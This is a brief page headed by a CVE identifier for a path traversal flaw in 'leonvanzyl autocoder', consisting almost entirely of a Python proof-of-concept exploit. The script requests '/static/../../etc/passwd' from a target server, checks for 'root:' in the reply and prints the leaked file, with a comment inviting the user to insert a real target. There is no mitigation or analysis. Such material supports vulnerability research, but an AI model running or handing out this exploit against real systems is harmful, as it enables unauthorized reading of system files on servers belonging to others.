CVE-2026-30351: leonvanzyl autocoder路径遍历漏洞

import requests def exploit_poc(target_url): # The vulnerable endpoint is in the UI/static component # Using '../' to traverse out of the web root payload = "/static/../../etc/passwd" full_url = f"{target_url}{payload}" try: response = requests.get(full_url, timeout=10) # Check if the response indicates successful file read if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] File Content:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit_poc(target)